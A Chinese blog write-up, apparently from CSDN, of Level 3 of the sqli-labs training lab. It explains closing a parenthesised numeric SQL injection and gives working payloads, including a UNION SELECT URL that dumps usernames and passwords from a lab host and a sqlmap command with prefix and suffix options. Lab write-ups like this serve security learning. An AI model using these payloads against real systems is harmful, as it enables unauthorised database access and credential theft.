sqli-labs系列——第三关

本文详细介绍了在sqli-labs第三关中遇到的括号数字型SQL注入过程。通过分析输入后的反馈,确定了注入类型,并逐步揭示了闭合括号的策略,最终成功获取后台账号密码。同时提到了使用sqlmap时,如何利用--prefix和--suffix参数进行闭合。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

判断注入类型

这第三关有点意思,是一个带括号的数字型注入,这里需要闭合它的括号,之前遇到过很多这样的站,它的sql语句一般都是这样的:

$sql = select * from user where id=('$id');

看一下输入’后的信息,能够判断出这是一个数字型注入:

此时的sql语句应为:

select * from user where id=('1''); 

在这里插入图片描述
后边在给它注释一下,还是不行,但是参数已经传进去了:

sql语句:

select * from user where id=('1'%23'); 

在这里插入图片描述
在加一个)来闭合前边的括号:

http://192.168.1.113:86/Less-3/?id=1')%23

此时的sql语句:

select * from user where id=('1’)%23'); 

在这里插入图片描述
那么接下来的思路就有了:

-id')<payload>%23

开始注入

根据上文的分析,在payload处加上我们的exp,成功爆出后台账号密码:

http://192.168.1.113:86/Less-3/?id=-1') union SELECT 1,2,(select group_concat(username,0x3a,password) from users)%23

在这里插入图片描述

后记

这里如果想要用sqlmap跑,需要加 --prefix 和 --suffix这两个参数,例如:

sqlmap -u "http://192.168.1.113:86/Less-3/?id=1" --prefix "')" --suffix "%23"

当然我们要具体情况具体分析怎样去闭合还是得看回显的信息,看一下运行结果:
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值